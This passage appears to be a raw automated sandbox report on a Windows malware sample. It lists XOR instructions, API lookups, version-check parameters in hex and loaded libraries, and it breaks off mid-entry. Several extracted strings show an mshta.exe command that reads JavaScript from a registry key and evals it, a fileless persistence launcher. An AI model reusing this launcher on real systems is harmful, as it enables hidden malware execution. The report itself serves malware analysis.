Stream UID: 25556-793-004028B9 Assembly shows XOR instruction xor dword ptr [eax+04h] ecx in Stream UID: 25556-798-004067E7 Assembly shows XOR instruction xor dword ptr [esp+04h] edx in Stream UID: 25556-814-0040E802 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-863-0040CE92 Assembly shows XOR instruction xor edi 9851EB59h in Stream UID: 25556-863-0040CE92 Assembly shows XOR instruction xor dword ptr [esp+04h] edx in Stream UID: 25556-894-0040D444 Assembly shows XOR instruction xor edi E0F12EB9h in Stream UID: 25556-898-00403830 Assembly shows XOR instruction xor dword ptr [eax+2Ch] ecx in Stream UID: 25556-900-00407DE2 Assembly shows XOR instruction xor edi eax in Stream UID: 25556-913-00409EB5 Assembly shows XOR instruction xor dword ptr [eax+38h] ecx in Stream UID: 25556-936-00410637 Assembly shows XOR instruction xor edx edi in Stream UID: 25556-962-0040E480 Assembly shows XOR instruction xor dword ptr [eax+08h] ecx in Stream UID: 25556-986-0040DBA0 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-987-00409D86 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-1009-0040CD20 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-1010-0040CC40 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-1016-0040C70D Assembly shows XOR instruction xor ecx 00452AB1h in Stream UID: 25556-1030-0040B8D0 Assembly shows XOR instruction xor esi 565BD208h in Stream UID: 25556-1030-0040B8D0 Assembly shows XOR instruction xor dword ptr [eax+30h] ecx in Stream UID: 25556-1036-0040B3A02d:T43f,Found reference to API "ZwQuerySystemInformation" (Indicator: "ZwQuerySystemInformation"; Source: "00000000-00005964-00000C2C-217394824") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00003436-00000C2C-307111310") Found reference to API "NtQuerySystemInformationW" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00003436-00000C2C-308465970") Found reference to API "ZwQuerySystemInformation" (Indicator: "ZwQuerySystemInformation"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")2e:T69b,Found reference to API "WTSFreeMemory" (Indicator: "WTSFreeMemory"; Source: "00000000-00005964-00000C2C-215612032") Found reference to API "WTSEnumerateSessionsA" (Indicator: "WTSEnumerateSessions"; Source: "00000000-00005964-00000C2C-215727142") Found reference to API "ProcessIdToSessionId" (Indicator: "ProcessIdToSessionId"; Source: "00000000-00003436-00000C2C-308416322") Found reference to API "WTSFreeMemory" (Indicator: "WTSFreeMemory"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "WTSEnumerateSessionsA" (Indicator: "WTSEnumerateSessions"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")2f:T52a,Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")30:T519,Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002164.00000002.85189.003C1000.00000020.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002164.00000002.85189.003C1000.00000020.mdmp") Found reference to API "GetKeyboardType" (Indicator: "GetKeyboardType"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")31:T2875,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000e000cd6f0000000068f412007cf51200c8f7120095e19d77b4c31a00feffffffb2f4a177c0f8a177010000000000cd6f0000000000000000c0f41200f8f61200c702a37701000000ecf4120000000000801368000203a3770002000000000000000000003cf71200a401a377f4f41200626fa17764f8a177a82ea9771413cd6fecf512000000000000009c773ff000001413cd6f0000000000000000ff2ba1778c2ea977020000000c023e0000003e006c4c6561766543723a002400020000006374696f6e0000696f6e00000000cd6f3b001300020000005c2ea900e0f41200 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000dd730000000000000000c0f41200f8f61200c702a37701000000ecf4120000000000001468000203a3770002000000000000000000003cf71200a401a377f4f41200626fa17764f8a177a82ea9773c11dd73ecf512000000000000009c773ff000003c11dd730000000000000000ff2ba1778c2ea977020000000c023e0000003e006c416c6c6f63617439003500020000006374696f6e0074696f6e00000000dd733a002400020000005c2ea900e0f412005803160044f9120080000000a82ea97700000000d0863e004800160098011600e8673e00f00916009c016400 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000001f0000009f000000f200000065000000ae000000a5000000030000003a00000063000000a700000024000000bc000000bd0000002b0000005d0000005f0000007f000000d9000000ff2ba177fc23587650000000dc01640000006400d1000000ff2ba17723007b00cd000000dc01640000006400360000004300000024007000cd0000002f0000002c000000607064002000000050000000cd00000000000000f0eb6700506d6400886e640070d35201887464000000000054f8e301506d6400b4f9e30195e19d7734c71a00feffffffff2ba177d96eb275d96eb27506000000 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005964) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000550020625b006dd17677fdf55d0c6caec075000000000000000074010000b96900d0c40055000100000000005500500155000c00000020625b000000000002000000180000002400000004e93e00000000000000000003000000c8e83e003c6ea17700000000000000000000000040355900c0757e774035590000000000c0757e77e4e83e0079da767700000000020000003ce93e00dbd2767700000000e2d2767715f45d0cb9690000ff2ba1771adb8477ffffffff040255000000550048e83e00e4e83e000b0042030300000096201b00feffffffe063a1771664a177 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000240044e03e0095e19d778e2e1b00feffffffff2ba1779a2aa1774411266c000000000000000080c64b01d8444f01ecde3e00c83a507760df3e00d58c48779cdf3e0030df3e0042a44677a802507770df3e00d2f44677080000006ef5467744f54677db7c5f0c02000000341a236c00003f005b51236c02000000000000004411266c80305d004411266c0000000080305d00b4df3e00086da1771881a97701000000000000000000236c341a236c00003f005b51236cdc444f01d8444f0184df3e00c4df3e0044e03e0091e1256cc4cdfdc4c8df3e00c89fa1774411266c00000000 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000008477d0f07f65ac01550000005500ac015500000055000700d900eb0400000800d400eb04000000000000d09d5d000800d400eb0400000900cf00eb04000068705500a401a377200000000000000000000000f8cb5b00586d5500786e550088f05d002072550060f05d004cd83e0000005500ccd93e0095e19d778e2e1b00feffffffff2ba1779a2aa177d0f07f65d0f07f650000000070f07f6500000000b4d93e00a0494f0144d93e0080f44677000024000000000089f44677ef7a5f0c02000000b8d93e00b4d93e000000000048644f0130c54b0180c64b01a0494f0108d93e00 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000550000000000200000000000000000000000f8cb5b00586d5500786e5500b0f05d002072550000000000dcd73e0000000000f0d93e0095e19d778e2e1b00feffffffff2ba1779a2aa177585a8265a00f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000585a8265b0f05d00585a826500000000b0f05d0020d93e00086da1771881a97700000000a00f00000100000060da3e0092e03269 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d00410036004200420032003100360065aeb40e98dac4026d828177fcd95f0004010000 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2ba17726f77e75d8eb5477ac015500000055000000000000000000140098007a08000000000000000000000000000000000000150093007a08000000000000000000006870550000000000200000000000000000000000b8cc5b00586d5500786e5500b84d5f00207255000000000034c5c40200000000b4c6c402 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000003e00f62b767299229e7efeffffff22177672a7237672e00000001b8008007cee3e005806000008f53e0018000000d4f43e0000000000f4f43e00269d3269e00000007cee3e005806000008f53e0018000000d4f43e0044f7d60c0000000000005500e0ec016406000000000000005c0c000038f53e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b0724b013c2a2400b0724b0180ab68013c2a240078ef3e0082417c64 (UID: 00000000-00003516) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000b8d43e00bcd43e00c83a507730d53e00d58c48776cd53e0000d53e0042a44677a802507740d53e00d2f44677080000006ef5467744f54677eb765f0c00da9f637c116d6301000000a65e9f6314d53e0000da9f6301000000a65e9f6344d53e0042a44677a802507788d53e007a0c9f63080000006f0c9f632d5635b9f8d63e00010000000100000001000000a8d53e00935ca2774083a977d4a0a17736e78477f8d63e00010000000100000050a65d000000000078d53e00a8d53e0018d63e0095e19d7766361b00feffffffd4a0a1771bbeb27500006d6300000000 (UID: 00000000-00003516)32:T1275,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000102da9770000417700000000a4e5dd73e000417702000000000000008800000095e19d773cf61200459d467700003e00000000008000000002000000000013009c1ddd7350f612006c22dd7380000000d322dd73dcf0dd736cf61200741ddd73dcf0dd73000000009cf7120000000000 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000121000000b008530168f9e301a0618a77000064000000000018d352018cf9e301f2442976bc769a7718d35201b00853012100000018d352015000000000000000a8f9e30150dc2d7618d352015000000008fbe3010000000050000000d0f9e301733b55001cd35201ccf9e30190d05900 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100770000640000000000d07368009cf8e301f2442976bc769a77d0736800b0085301e0f8e301d07368003000000002000000b8f8e30150dc2d76d073680040000000f0385b000100000040000000e4f8e301903b5500d4736800f84d5b0001000000f4e25700fce25700284c5b0000000000 (UID: 00000000-00005964) "mshta.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003516) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f01a7e6508000000c41a7e6542178c0002000000d41c7e6500003f00e6167e65b0494f01a0494f01a0d93e00d0f07f6560da3e0053af7f655ed4cc65feffffffc41a7e65421a7e65e6167e65f4d93e00d91b7e65e6167e6567c14677ae05b6757457b6750000000000000000cc92b275 (UID: 00000000-00003516) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000600000001000000b11d00000200000053657276696365205061636b20310000f01a7e6508000000c41a7e6542178c0002000000d41c7e6500003f00020000000000000088000000a0d93e00e0d93e00459d46770000240000000000800000000200000000003f0098138165f4d93e00 (UID: 00000000-00003516) "mshta.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb5477b84d5f000080fd7f9a5ca2770040fd7f78c6c4024480fd7f00000000400000003f0000002a0000000080fd7f6cc6c402c15ca2776082a9772a0000000080fd7f9a5ca2770040fd7f90c6c4025789a1778083a9771317b375d8eb5477 (UID: 00000000-00003516) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003516) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000024000000020000000000000000000000ca0f3c001100000000000000000000002200000000000000000000001d00001db829000058663c00189f3c0044006100740061005c004c006f00630061006c005c00500072006f006700720061006d0073005c0050007900740068006f006e00 (UID: 00000000-00003436) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000095e19d776d4a1b00fefffffff5f6a177634da27710e03a001015426588084200b2f4a177f9ac7877d4eec2000000416500004165804da2771dac7877f0000000f00041650000000040eec2005c004300d4efc2000000000001000000a4eec20040f5a177000000000000000090eec200 (UID: 00000000-00003436) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006940eec20001000000000000000000bf77000000002ceec20000000000000000000000000040eec200000000000000000000000000dc6f420134eec2000300000000000000880000000000bf7740eec200459d4677000034000000000080000000020000000000c300dc1a416554eec200 (UID: 00000000-00003436)33:T9fa,Found string "javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" (Indicator: "ActiveXObject"; File: "mshta.exe") Found string "=new ActiveXObject("WScript.Shell");" (Indicator: "ActiveXObject"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string "=new%20ActiveXObject("WScript.Shell");" (Indicator: "ActiveXObject"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string ""C:\Windows\system32\mshta.exe" javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" (Indicator: "ActiveXObject"; Source: "00000000-00005964.00000003.86793.00640000.00000004.mdmp") Found string "\Windows\system32\mshta.exe" javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" (Indicator: "ActiveXObject"; Source: "00000000-00005964.00000003.86793.00640000.00000004.mdmp"), Found string "ascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" (Indicator: "ActiveXObject"; Source: "00000000-00005964.00000003.86793.01E40000.00000004.mdmp")34:T5aa,file/memory contains long string(File: "DISMHOST.EXE.6C8DE937.bin") Found string "GetCommandLineW" (Source: "00000000-00002164.00000002.85189.003C1000.00000020.mdmp") Found string "GetCommandLineA" (Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string "GetCommandLineW" (Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000000.77427.02440000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")35:T4c66,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter wsock32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter atl.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter Wtsapi32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter PSAPI.DLL (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter C:\5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.ENU (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter C:\5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.EN (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005964) "mshta.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003516) "mshta.exe" called 